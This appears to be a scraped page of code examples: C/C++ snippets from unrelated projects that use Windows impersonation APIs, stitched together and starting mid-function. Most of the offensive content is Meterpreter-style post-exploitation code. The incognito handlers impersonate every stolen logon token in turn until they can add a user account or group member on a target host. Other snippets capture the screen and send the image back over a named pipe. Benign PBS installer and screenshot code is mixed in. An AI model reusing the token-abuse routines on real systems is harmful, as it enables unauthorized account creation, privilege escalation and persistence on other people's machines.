	// but if we have failed we send back a zero byte result to indicate this failure.
	if( dwResult == ERROR_SUCCESS )
		screenshot_send( cNamedPipe, pJpegBuffer, dwJpegSize );
	else
		screenshot_send( cNamedPipe, NULL, 0 );

	if( hdc )
		ReleaseDC( hDesktopWnd, hdc );

	if( hmemdc )
		DeleteDC( hmemdc );

	if( hbmp )
		DeleteObject( hbmp );

	// free the jpeg images buffer
	if( pJpegBuffer )
		free( pJpegBuffer );

	// restore the origional process's window station
	if( hOrigWindowStation )
		SetProcessWindowStation( hOrigWindowStation );

	// restore the threads origional desktop
	if( hOrigDesktop )
		SetThreadDesktop( hOrigDesktop );

	// close the WinSta0 window station handle we opened
	if( hWindowStation )
		CloseWindowStation( hWindowStation );

	// close this last to avoid a handle leak...
	if( hInputDesktop )
		CloseDesktop( hInputDesktop );

	return dwResult;
}
Exemplo n.º 25
0
bool UserUtilities::RevertToMainUser()
{
	return RevertToSelf();
}
Exemplo n.º 26
0
bool
RevertCurrentUser() {
  return (FALSE != RevertToSelf());
}
DWORD request_incognito_add_user(Remote *remote, Packet *packet)
{
	USER_INFO_1 ui;
   	DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
   	NET_API_STATUS nStatus;
	SavedToken *token_list = NULL;
	HANDLE saved_token;
	char *dc_netbios_name, *username, *password, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
	wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], password_u[BUF_SIZE];
	
	// Read arguments
	Packet *response = packet_create_response(packet);
	dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
	username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
	password = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD);

	mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
	mbstowcs(username_u, username, strlen(username)+1);
	mbstowcs(password_u, password, strlen(password)+1);

   	ui.usri1_name = username_u;
   	ui.usri1_password = password_u;
   	ui.usri1_priv = USER_PRIV_USER;
   	ui.usri1_home_dir = NULL;
   	ui.usri1_comment = NULL;
   	ui.usri1_flags = UF_SCRIPT;
   	ui.usri1_script_path = NULL;

	// Save current thread token if one is currently being impersonated
	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
		saved_token = INVALID_HANDLE_VALUE;

	token_list = get_token_list(&num_tokens);
	if (!token_list)
	{
		sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
		goto cleanup;
	}

	sprintf(return_value, "[*] Attempting to add user %s to host %s\n", username, dc_netbios_name);

	// Attempt to add user with every token
	for (i=0;i<num_tokens;i++)
	if (token_list[i].token)
	{
		// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
		if (!_stricmp("NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
			continue;

		ImpersonateLoggedOnUser(token_list[i].token);
		nStatus = NetUserAdd(dc_netbios_name_u, 1, (LPBYTE)&ui, &dwError);
		RevertToSelf();

   		switch (nStatus)
   		{
			case ERROR_ACCESS_DENIED:
			case ERROR_LOGON_FAILURE: // unknown username or bad password
			case ERROR_INVALID_PASSWORD:
				break;
			case NERR_Success:
				strncat(return_value, "[+] Successfully added user\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_InvalidComputer:
				strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_NotPrimary:
				strncat(return_value, "[-] Operation only allowed on primary domain controller\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_GroupExists:
				strncat(return_value, "[-] Group already exists\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_UserExists:
				strncat(return_value, "[-] User already exists\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_PasswordTooShort:
				strncat(return_value,"[-] Password does not meet complexity requirements\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			default:
				sprintf(temp, "[-] Unknown error: %d\n", nStatus);
				strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
		}
	}

	strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);

cleanup:
	for (i=0;i<num_tokens;i++)
		CloseHandle(token_list[i].token);
	free(token_list);

	packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
	packet_transmit_response(ERROR_SUCCESS, remote, response);

	// Restore token impersonation
	if (saved_token != INVALID_HANDLE_VALUE)
		ImpersonateLoggedOnUser(saved_token);

	return ERROR_SUCCESS;
}
Exemplo n.º 28
0
/**
 * @brief
 * 		add_service_account: creates the PBS service account if it doesn't exist,
 *	 	otherwise, validate the password against the existing the service
 *		account.
 *
 * @param[in]	password	-	The password to be validated.
 *
 * @return	int
 */
int
add_service_account(char *password)
{
	char 	dname[PBS_MAXHOSTNAME+1];
	char	dctrl[PBS_MAXHOSTNAME+1];
	wchar_t	unamew[UNLEN+1];
	wchar_t	dnamew[UNLEN+1];
	wchar_t	dctrlw[PBS_MAXHOSTNAME+1];

	NET_API_STATUS nstatus;
	USER_INFO_1	*ui1_ptr = NULL; /* better indicator of lookup */
	/*  permission */
	struct passwd	*pw = NULL;

	char 	sa_name[PBS_MAXHOSTNAME+UNLEN+2]; /* service account fullname */
	/* domain\user\0 */
	int	ret_val = 0;
	int	in_domain_environment;
	USER_INFO_1	ui;
	wchar_t	passwordw[LM20_PWLEN+1];

	/* find domain name, group name to add service account to */
	in_domain_environment = GetComputerDomainName(dname);

	strcpy(dctrl, dname);
	if (in_domain_environment) {
		char	dname_a[PBS_MAXHOSTNAME+1];

		get_dcinfo(dname, dname_a, dctrl);
	}

	mbstowcs(unamew, service_accountname, UNLEN+1);
	mbstowcs(dnamew, dname, PBS_MAXHOSTNAME+1);
	mbstowcs(dctrlw, dctrl, PBS_MAXHOSTNAME+1);

	/* create account if it doesn't exist */

	/* FIX: Perform the following "if action" if either           */
	/*   1) in a domain environment, and the 		      */
	/*      executing account (i.e. intaller) is an account in    */
	/*      the domain,            				      */
	/*   2) in a standalone environment, and the                  */
	/*      executing account (i.e. installer) is a local account */
	/*      in the local computer.                                */
	/* This fix is needed as during testing, I was finding that   */
	/* the local "Administrator" account itself has permission    */
	/* to query the domain, and to create accounts on the domain. */
	/* However, the created domain "pbsadmin" account would have  */
	/* weirdness to it in that attempts to impersonate it would   */
	/* initially fail, and even after adding the account to the   */
	/* local "Administrators" group, that user entry on the group */
	/* would  suddenly disappear.                                 */

	if ((stricmp(exec_dname, dname) == 0) &&
		((nstatus=wrap_NetUserGetInfo(dctrlw, unamew, 1,
		(LPBYTE *)&ui1_ptr)) == NERR_UserNotFound)) {
		mbstowcs(passwordw, password, LM20_PWLEN+1);
		ui.usri1_name = (wchar_t *)unamew;
		ui.usri1_password = (wchar_t *)passwordw;
		ui.usri1_password_age = 0;
		ui.usri1_priv = USER_PRIV_USER;
		ui.usri1_home_dir = NULL;
		ui.usri1_comment = NULL;
		ui.usri1_flags = UF_PASSWD_CANT_CHANGE|UF_DONT_EXPIRE_PASSWD;
		ui.usri1_script_path = NULL;

		if (for_info_only)
			nstatus = NERR_Success;
		else
			nstatus=NetUserAdd(dctrlw, 1, (LPBYTE)&ui, NULL);

		if ((nstatus != NERR_Success) && (nstatus != NERR_UserExists)) {
			fprintf(stderr,
				"Failed to create %s\\%S: error status=%d\n", dname,
				unamew, nstatus);
			goto end_add_service_account;
		}
		printf("%s account %s\\%S\n",
			(for_info_only?"Creating":"Created"), dname, unamew);

		set_account_expiration(dnamew, dctrlw, unamew,
			TIMEQ_FOREVER);

		/* cache new token since the account was just created */
		cache_usertoken_and_homedir(service_accountname, NULL,
			0, read_sa_password, (char *)service_accountname,

			decrypt_sa_password, 1);

		if (add_to_administrators_group(dnamew, unamew) != 0)
			goto end_add_service_account;


	}

	/* Verify password */

	if (pw == NULL) {
		pw = getpwnam(service_accountname);
		if (pw == NULL) {
			fprintf(stderr, "Password could not be validated against %s\\%s.\n", dname, service_accountname);
			goto end_add_service_account;
		}
	}
	/* validate password */
	sprintf(sa_name, "%s\\%s", dname, service_accountname);

	if (!for_info_only) {

		if (pw->pw_userlogin != INVALID_HANDLE_VALUE) {
			if (ImpersonateLoggedOnUser(pw->pw_userlogin) == 0) { /* fail */
				if (validate_account_password(sa_name, password) == 0) {

					/* we still call validate_account_password() as backup since  */
					/* under Windows 2000, LogonUser(), called from		      */
					/* cache_usertoken_and_homedir(), might fail due to not       */
					/* having the  SE_TCB_NAME privilege. This must be            */
					/* already set before calling the "cmd" process that 	      */
					/* executes the install program.		     	      */

					fprintf(stderr, "Password did not validate against %s\\%s err=%d\n\nClick BACK button to retry a different password.\nClick NEXT button to abort installation.", dname, service_accountname, GetLastError());
					goto end_add_service_account;
				}
			} else {
				printf("Validated password for %s\n", sa_name);
				RevertToSelf();
			}
		}
	} else {
		printf("Validating password for %s\n", sa_name);
	}

	/* add service account to appropriate Admin group */
	if (!for_info_only && !isLocalAdminMember(service_accountname)) {

		if (add_to_administrators_group(dnamew, unamew) != 0)
			goto end_add_service_account;

	}


	wcsset(passwordw, 0);
	ret_val = 1;

	if (for_info_only) {
		printf("%s will need the following privileges:\n", sa_name);
		printf("\n\tCreate Token Object\n");
		printf("\n\tReplace Process Level Token\n");
		printf("\n\tLogon On As a Service\n");
		printf("\n\tAct As Part of the Operating System\n");
	}

end_add_service_account:

	if (ui1_ptr != NULL)
		NetApiBufferFree(ui1_ptr);

	return (ret_val);

}
DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet)
{
   	DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
   	NET_API_STATUS nStatus;
	LOCALGROUP_MEMBERS_INFO_3 localgroup_member;
	SavedToken *token_list = NULL;
	HANDLE saved_token;
	wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE];
	char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";

	// Read arguments
	Packet *response = packet_create_response(packet);
	dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
	groupname = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
	username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);

	mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
	mbstowcs(username_u, username, strlen(username)+1);
	mbstowcs(groupname_u, groupname, strlen(groupname)+1);

	localgroup_member.lgrmi3_domainandname = username_u;

	// Save current thread token if one is currently being impersonated
	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
		saved_token = INVALID_HANDLE_VALUE;

	token_list = get_token_list(&num_tokens);
	if (!token_list)
	{
		sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
		goto cleanup;
	}

	sprintf(return_value, "[*] Attempting to add user %s to localgroup %s on host %s\n", username, groupname, dc_netbios_name);

	// Attempt to add user to localgroup with every token
	for (i=0;i<num_tokens;i++)
	if (token_list[i].token)
	{
		// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
		if (!_stricmp("NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
			continue;

		ImpersonateLoggedOnUser(token_list[i].token);
		nStatus = NetLocalGroupAddMembers(dc_netbios_name_u, groupname_u, 3, (LPBYTE)&localgroup_member, 1);
		RevertToSelf();

   		switch (nStatus)
   		{
			case ERROR_ACCESS_DENIED:
			case ERROR_LOGON_FAILURE: // unknown username or bad password
			case ERROR_INVALID_PASSWORD:
				break;
			case NERR_Success:
				strncat(return_value, "[+] Successfully added user to local group\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_InvalidComputer:
				strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case ERROR_NO_SUCH_MEMBER:
				strncat(return_value, "[-] User not found\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_GroupNotFound:
			case 1376: // found by testing (also group not found)
				strncat(return_value, "[-] Local group not found\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case ERROR_MEMBER_IN_ALIAS:
				strncat(return_value, "[-] User already in group\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			default:
				sprintf(temp, "Unknown error: %d \n", nStatus);
				strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
		}
	}

	strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);

cleanup:
	for (i=0;i<num_tokens;i++)
		CloseHandle(token_list[i].token);
	free(token_list);

	packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
	packet_transmit_response(ERROR_SUCCESS, remote, response);

	// Restore token impersonation
	if (saved_token != INVALID_HANDLE_VALUE)
		ImpersonateLoggedOnUser(saved_token);

	return ERROR_SUCCESS;
}
Exemplo n.º 30
0
// outType = 1 : console, 2: file, 3: buffer
bool Screen::takeScreenshot(const int outType, const char *filename, char **buffer, DWORD &size) {
    if (outType < 1 || outType > 3) {
        return false;
    }
    bool result = false;
    HBITMAP handleBitmapScreen = 0;
    HDC handleMemoryDC = 0;
    HWND  hWnd = 0;
    HDC handleDeviceContextOfWindow = 0;


    // open the WinSta0 as some services are attached to a different window station.
    HWINSTA hWindowStation = hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
    if( !hWindowStation )
    {
        if( RevertToSelf() )
            hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
    }

    // if we cant open the defaut input station we wont be able to take a screenshot
    if( !hWindowStation ) {
        MYPRINTF( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station");
        return false;
    }

    // get the current process's window station so we can restore it later on.
    HWINSTA hOrigWindowStation = GetProcessWindowStation();

    // set the host process's window station to this sessions default input station we opened
    if( !SetProcessWindowStation( hWindowStation ) ) {
        MYPRINTF( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" );
        return false;
    }

    // grab a handle to the default input desktop (e.g. Default or WinLogon)

    //HDESK hInputDesktop = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED );
    HDESK hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
    if( !hInputDesktop ) {
        MYPRINTF( "[SCREENSHOT] screenshot: OpenInputDesktop failed" );
        return false;
    }
    //if (SwitchDesktop(hInputDesktop) == 0){
    //	MYPRINTF( "[SCREENSHOT] screenshot: SwitchDesktop failed" );
    //	return false;
    //}
    // get the threads current desktop so we can restore it later on
    HDESK hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() );

    // set this threads desktop to that of this sessions default input desktop on WinSta0
    SetThreadDesktop( hInputDesktop );

    // and now we can grab a handle to this input desktop
    HWND hDesktopWnd = GetDesktopWindow();



    int screenWidth = GetSystemMetrics (SM_CXSCREEN);
    int screenHeight = GetSystemMetrics (SM_CYSCREEN);
    MYPRINTF("width: %d, height: %d\n", screenWidth, screenHeight);
    // Retrieve the handle to a display device context for the client
    // area of the window.
    HDC handleDeviceContextOfScreen = GetDC(hDesktopWnd);
    //HDC handleDeviceContextOfScreen = CreateDC("DISPLAY",NULL,NULL,NULL);
    if (handleDeviceContextOfScreen == 0) {
        MYPRINTF("GetDC(0) has failed: %d", GetLastError());
        goto done;
    }

    if (outType == 1) { // print to console
        //The source DC is the entire screen and the destination DC is the current window (HWND)
        // Get the client area for size calculation
        HWND  hWnd = GetForegroundWindow();

        HDC handleDeviceContextOfWindow = GetDC(hWnd);
        if (handleDeviceContextOfScreen == 0) {
            MYPRINTF("GetDC(hWnd) has failed: %d", GetLastError());
            goto done;
        }
        RECT rcClient;
        GetClientRect(hWnd, &rcClient);

        //This is the best stretch mode
        SetStretchBltMode(handleDeviceContextOfWindow, HALFTONE);

        if(!StretchBlt(handleDeviceContextOfWindow,
                       0,0,
                       rcClient.right, rcClient.bottom,
                       handleDeviceContextOfScreen,
                       0,0,
                       screenWidth,
                       screenHeight,
                       SRCCOPY))
        {
            MYPRINTF("StretchBlt has failed: %d", GetLastError());
            goto done;
        }
        result = true;
    } else {
        // Create a compatible DC which is used in a BitBlt from the window DC
        handleMemoryDC = CreateCompatibleDC(handleDeviceContextOfScreen);
        if(!handleMemoryDC) {
            MYPRINTF("CreateCompatibleDC has failed: %d", GetLastError());
            goto done;
        }
        BITMAPINFO		bmpinfo;
        ZeroMemory(&bmpinfo,sizeof(bmpinfo));
        LONG dwWidth = GetDeviceCaps(handleDeviceContextOfScreen, HORZRES);
        LONG dwHeight = GetDeviceCaps(handleDeviceContextOfScreen, VERTRES);
        //dwBPP = GetDeviceCaps(hScreen, BITSPIXEL);
        LONG dwBPP = 24;
        LONG dwNumColors = GetDeviceCaps(handleDeviceContextOfScreen, NUMCOLORS);
        LPVOID			pBits;
        bmpinfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
        bmpinfo.bmiHeader.biWidth = dwWidth;
        bmpinfo.bmiHeader.biHeight = dwHeight;
        bmpinfo.bmiHeader.biPlanes = 1;
        bmpinfo.bmiHeader.biBitCount = (WORD) dwBPP;
        bmpinfo.bmiHeader.biCompression = BI_RGB;
        bmpinfo.bmiHeader.biSizeImage = 0;
        bmpinfo.bmiHeader.biXPelsPerMeter = 0;
        bmpinfo.bmiHeader.biYPelsPerMeter = 0;
        bmpinfo.bmiHeader.biClrUsed = dwNumColors;
        bmpinfo.bmiHeader.biClrImportant = dwNumColors;
        handleBitmapScreen = CreateDIBSection(handleDeviceContextOfScreen, &bmpinfo, DIB_PAL_COLORS, &pBits, NULL, 0);

        /**
        // Create a compatible bitmap from the Window DC
        handleBitmapScreen = CreateCompatibleBitmap(handleDeviceContextOfScreen, screenWidth, screenHeight);
        if(!handleBitmapScreen) {
        	MYPRINTF("CreateCompatibleBitmap Failed: %d", GetLastError());
        	goto done;
        }
        */
        // Select the compatible bitmap into the compatible memory DC.
        if (SelectObject(handleMemoryDC, handleBitmapScreen) == 0) {
            MYPRINTF("SelectObject Failed: %d", GetLastError());
            goto done;
        }

        // Bit block transfer into our compatible memory DC.
        if(!BitBlt(handleMemoryDC,
                   0, 0,
                   screenWidth, screenHeight,
                   handleDeviceContextOfScreen,
                   0, 0,
                   SRCCOPY)) {
            MYPRINTF("BitBlt has failed: %d", GetLastError());
            goto done;
        }
        BITMAP bmpScreen;
        // Get the BITMAP from the HBITMAP
        if (GetObject(handleBitmapScreen, sizeof(BITMAP), &bmpScreen) == 0) {
            MYPRINTF("GetObject has failed: %d", GetLastError());
            goto done;
        }

        BITMAPFILEHEADER   bmfHeader;
        BITMAPINFOHEADER   bi;

        bi.biSize = sizeof(BITMAPINFOHEADER);
        bi.biWidth = bmpScreen.bmWidth;
        bi.biHeight = bmpScreen.bmHeight;
        bi.biPlanes = 1;
        bi.biBitCount = 32;
        bi.biCompression = BI_RGB;
        bi.biSizeImage = 0;
        bi.biXPelsPerMeter = 0;
        bi.biYPelsPerMeter = 0;
        bi.biClrUsed = 0;
        bi.biClrImportant = 0;

        DWORD dwBmpSize = ((bmpScreen.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmpScreen.bmHeight;

        HANDLE hData = GlobalAlloc(GHND,dwBmpSize);
        char *bmpdata = (char *)GlobalLock(hData);

        // Starting with 32-bit Windows, GlobalAlloc and LocalAlloc are implemented as wrapper functions that
        // call HeapAlloc using a handle to the process's default heap. Therefore, GlobalAlloc and LocalAlloc
        // have greater overhead than HeapAlloc.
        HANDLE hDIB = GlobalAlloc(GHND,dwBmpSize);
        char *lpbitmap = (char *)GlobalLock(hDIB);

        // Gets the "bits" from the bitmap and copies them into a buffer
        // which is pointed to by lpbitmap.
        //GetDIBits(handleDeviceContextOfWindow, handleBitmapScreen, 0,
        GetDIBits(handleDeviceContextOfScreen, handleBitmapScreen, 0,
                  (UINT)bmpScreen.bmHeight,
                  lpbitmap,
                  (BITMAPINFO *)&bi, DIB_RGB_COLORS);

        // Add the size of the headers to the size of the bitmap to get the total file size
        DWORD dwSizeofDIB = dwBmpSize + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);

        //Offset to where the actual bitmap bits start.
        bmfHeader.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER);

        //Size of the file
        bmfHeader.bfSize = dwSizeofDIB;

        //bfType must always be BM for Bitmaps
        bmfHeader.bfType = 0x4D42; //BM

        DWORD dwBytesWritten = 0;


        UINT mybmpsize = dwBmpSize + sizeof(bi) + sizeof(bmfHeader);


        // put headers together to make a .bmp in memory
        memcpy(bmpdata, &bmfHeader, sizeof(bmfHeader));
        memcpy(bmpdata + sizeof(bmfHeader), &bi, sizeof(bi));
        memcpy(bmpdata + sizeof(bmfHeader) + sizeof(bi), lpbitmap, dwBmpSize);

        if (outType == 2) {
            // Now convert to JPEG
            if (bmp2jpegtofile((PBYTE)bmpdata, 70, filename ) == 0) {
                MYPRINTF("unable to write jpg");
            } else {
                result = true;
            }
        } else {
            if (bmp2jpegtomemory((PBYTE)bmpdata, 70, (BYTE **)buffer, &size) == 0) {
                MYPRINTF("unable to write jpg");
            } else {
                result = true;
            }
        }

        //Unlock and Free the DIB from the heap
        GlobalUnlock(hDIB);
        GlobalFree(hDIB);

        GlobalUnlock(hData);
        GlobalFree(hData);

    }
    //Clean up
done:
    // restore the origional process's window station
    if( hOrigWindowStation )
        SetProcessWindowStation( hOrigWindowStation );

    // restore the threads origional desktop
    if( hOrigDesktop )
        SetThreadDesktop( hOrigDesktop );

    // close the WinSta0 window station handle we opened
    if( hWindowStation )
        CloseWindowStation( hWindowStation );

    // close this last to avoid a handle leak...
    if( hInputDesktop )
        CloseDesktop( hInputDesktop );

    DeleteObject(handleBitmapScreen);
    DeleteObject(handleMemoryDC);
    ReleaseDC(NULL,handleDeviceContextOfScreen);
    ReleaseDC(hWnd,handleDeviceContextOfWindow);

    return result;

}